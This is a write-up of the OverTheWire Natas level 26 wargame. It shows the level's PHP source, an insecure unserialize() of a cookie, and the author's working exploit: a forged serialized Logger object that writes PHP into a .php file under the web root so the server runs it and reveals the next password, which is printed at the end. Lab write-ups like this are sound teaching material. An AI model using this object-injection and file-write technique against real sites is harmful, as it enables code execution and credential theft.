OverTheWire Wargames :: Natas :: Level 26
Level 26 > Level 27
This level presents a simple line drawing application. When you submit coordinates defining a line, it is drawn on a black rectangle. The drawing does not reset, multiple submissions create a drawing with multiple lines. Let’s draw a line from (0,0) to (400,300) and another from (0,300) to (400,0) to make a nice big X.
Nice. Taking a peak at the source…
<html>
<head>[...]</head>
<body>
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
<h1>natas26</h1>
<div id="content">
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>
<?php
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
The bit of PHP at the bottom that executes with the page loads pulls in the ‘drawing’ cookie. Sure enough, we are given such a cookie. This is the response header after drawing the second line of the X.
HTTP/1.1 200 OK
Date: Thu, 20 Jul 2017 01:43:28 GMT
Server: Apache/2.4.10 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: drawing=YToyOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjAiO3M6MjoieTEiO3M6MToiMCI7czoyOiJ4MiI7czozOiI0MDAiO3M6MjoieTIiO3M6MzoiMzAwIjt9aToxO2E6NDp7czoyOiJ4MSI7czoxOiIwIjtzOjI6InkxIjtzOjM6IjMwMCI7czoyOiJ4MiI7czozOiI0MDAiO3M6MjoieTIiO3M6MToiMCI7fX0%3D
Vary: Accept-Encoding
Content-Length: 1203
Connection: close
Content-Type: text/html; charset=UTF-8
The drawImage()
function is called next. That function calls drawFromUserdata()
which does a couple things. One, if you sent along coordinates it draws corresponding lines. Second, if you sent along the ‘drawing’ cookie, it deserializes the contents of the cookie and draws accordingly.
Seeing the word ‘unserialize’ in a hacking challenge should cause an alarm to go off in your head. This is what the deserialization looks like:
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
Using that as a template, the following little bit of code I made on the side will show us what’s stored in our cookie.
<?php
$drawing=unserialize(base64_decode("YToyOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjAiO3M6MjoieTEiO3M6MToiMCI7czoyOiJ4MiI7czozOiI0MDAiO3M6MjoieTIiO3M6MzoiMzAwIjt9aToxO2E6NDp7czoyOiJ4MSI7czoxOiIwIjtzOjI6InkxIjtzOjM6IjMwMCI7czoyOiJ4MiI7czozOiI0MDAiO3M6MjoieTIiO3M6MToiMCI7fX0="));
print_r($drawing);
?>
The actual cookie has a %3D at the end, but we know that’s just an equal sign. The results are pretty much what we expected - an array of coordinates used to recreate the drawing.
Now for the meat. Often the way serialization bugs go is something occurs during an object’s constructor or destructor that the attacker can commandeer for nefarious purposes. I wrote about another PHP object serialization challenge here where the contents of a member variable were executed as a command in the constructor.
Check out the Logger class. Both the constructor and destructor write to a file. What file? Whatever is stored in the $logFile
member variable. What does it write? What ever is stored in the $initMsg
and $exitMsg
member variables. Ch-ching.
Recall that the definition of the class does not go along for the ride when an object is serialized. We only need to make a class named Logger, load up the member variables we want, and send it along. To do that, another short program on the side.
<?php
class Logger {
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){
$this->initMsg="heyyyyyy\n";
$this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>\n";
$this->logFile = "/var/www/natas/natas26/img/n0j.txt";
}
}
$o = new Logger();
print base64_encode(serialize($o))."\n";
?>
Obviously the message we’re after is the password to natas27 so we grab that and load it into a variable. We know we can write to the img
folder because that’s what the application does with legitimate images. We also know we’ll be able to read it back from there, again because that’s what the application does with legitimate images.
A note on how this works… why would we send a Logger object into a function that’s expecting arrays with coordinates and whatnot, doesn’t sound like that will work. Short answer - it doesn’t work! But the object is loaded into the $drawing
variable so when its life ends the destructor will be called and that’s all we care about.
Send our baked-up cookie along using the trusty Burp Repeater…
The response contains a PHP error, but did it work?
Yes and no! Taking advantage of the serialization bug worked and our expected output file was created, but it just contains our PHP code and not the password. I left this error in the writeup on purpose because it’s important to understand where things are being executed and why. There’s nothing about the Logger class that would cause a string of PHP we put into a variable to be executed.
How do we execute that code and retrieve the result? Do the exact same thing but output to a .php
file instead of a .txt
file. That way when we load it, our GET request will cause the execution on the server, and we’ll get the password.
Sure enough.
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ